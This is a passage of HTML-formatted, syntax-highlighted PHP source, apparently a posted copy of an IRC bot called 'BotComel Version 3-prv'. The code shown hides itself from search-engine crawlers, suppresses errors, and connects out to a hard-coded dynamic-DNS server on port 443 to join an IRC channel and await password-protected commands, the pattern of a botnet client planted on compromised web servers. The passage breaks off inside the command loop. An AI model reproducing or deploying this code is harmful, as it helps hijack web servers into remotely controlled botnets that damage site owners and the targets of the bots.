color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt; */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(preg_match(&lt;span style=&quot;color: #006080&quot;&gt;&quot;/google|msn|yahoo|bot|spider|crawler|archive/&quot;&lt;/span&gt;, strtolower($_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_USER_AGENT&#39;&lt;/span&gt;]))) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt;     header(&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP/1.0 404 Not Found&#39;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; @set_time_limit(0); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; @error_reporting(0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; define(&lt;span style=&quot;color: #006080&quot;&gt;&#39;DS&#39;&lt;/span&gt;, DIRECTORY_SEPARATOR);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt; define(&lt;span style=&quot;color: #006080&quot;&gt;&#39;__THIS__&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;BotComel&#39;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; define(&lt;span style=&quot;color: #006080&quot;&gt;&#39;BotVersion&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;BotComel Version 3-prv&#39;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;class&lt;/span&gt; BotComel {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;var&lt;/span&gt; $config = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&#39;server&#39;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;ahlisyurga.no-ip.org&#39;&lt;/span&gt;, &lt;span style=&quot;color: #008000&quot;&gt;// Server IP/Hostname&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt;                         &lt;span style=&quot;color: #006080&quot;&gt;&#39;port&#39;&lt;/span&gt; =&amp;gt; 443, &lt;span style=&quot;color: #008000&quot;&gt;// Server Port&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt;                         &lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;#emotoy&#39;&lt;/span&gt;, &lt;span style=&quot;color: #008000&quot;&gt;// Channel&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt;                         &lt;span style=&quot;color: #006080&quot;&gt;&#39;cmdprefix&#39;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;!&#39;&lt;/span&gt;, &lt;span style=&quot;color: #008000&quot;&gt;// Command Prefix&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt;                         &lt;span style=&quot;color: #006080&quot;&gt;&#39;password&#39;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;d74bedca82df091bb83e43cb10785da6&#39;&lt;/span&gt;, &lt;span style=&quot;color: #008000&quot;&gt;// Password: md5 encryption, default: botcomel&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt;                         &lt;span style=&quot;color: #006080&quot;&gt;&#39;debug&#39;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #0000ff&quot;&gt;false&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;// debug kene guna cli&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt;                         );&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt;                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;var&lt;/span&gt; $users = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum44&quot;&gt;  44:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; init() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum45&quot;&gt;  45:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!($this-&amp;gt;connection = fsockopen($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;server&#39;&lt;/span&gt;], $this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;port&#39;&lt;/span&gt;], $e, $s, 30)))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum46&quot;&gt;  46:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum47&quot;&gt;  47:&lt;/span&gt;                 $this-&amp;gt;init();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum48&quot;&gt;  48:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum49&quot;&gt;  49:&lt;/span&gt;         $ident = md5(time());&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum50&quot;&gt;  50:&lt;/span&gt;         $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;USER $ident 127.0.0.1 localhost :$ident&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum51&quot;&gt;  51:&lt;/span&gt;         $this-&amp;gt;getNick();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum52&quot;&gt;  52:&lt;/span&gt;         $this-&amp;gt;start();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum53&quot;&gt;  53:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum54&quot;&gt;  54:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum55&quot;&gt;  55:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; start() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum56&quot;&gt;  56:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;while&lt;/span&gt;(!feof($this-&amp;gt;connection))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum57&quot;&gt;  57:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum58&quot;&gt;  58:&lt;/span&gt;                 $this-&amp;gt;buffer = trim(fgets($this-&amp;gt;connection, 512));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum59&quot;&gt;  59:&lt;/span&gt;                 $cmd = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot; &quot;&lt;/span&gt;, $this-&amp;gt;buffer);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum60&quot;&gt;  60:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(substr($this-&amp;gt;buffer, 0, 6) == &lt;span style=&quot;color: #006080&quot;&gt;&quot;PING :&quot;&lt;/span&gt;) &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum61&quot;&gt;  61:&lt;/span&gt;                     { &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum62&quot;&gt;  62:&lt;/span&gt;                         $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;PONG :&quot;&lt;/span&gt;.substr($this-&amp;gt;buffer, 6));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum63&quot;&gt;  63:&lt;/span&gt;                         $this-&amp;gt;pingged = 1;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum64&quot;&gt;  64:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum65&quot;&gt;  65:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($cmd[1]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum66&quot;&gt;  66:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum67&quot;&gt;  67:&lt;/span&gt;                         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($cmd[1] == &lt;span style=&quot;color: #006080&quot;&gt;&#39;001&#39;&lt;/span&gt;)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum68&quot;&gt;  68:&lt;/span&gt;                             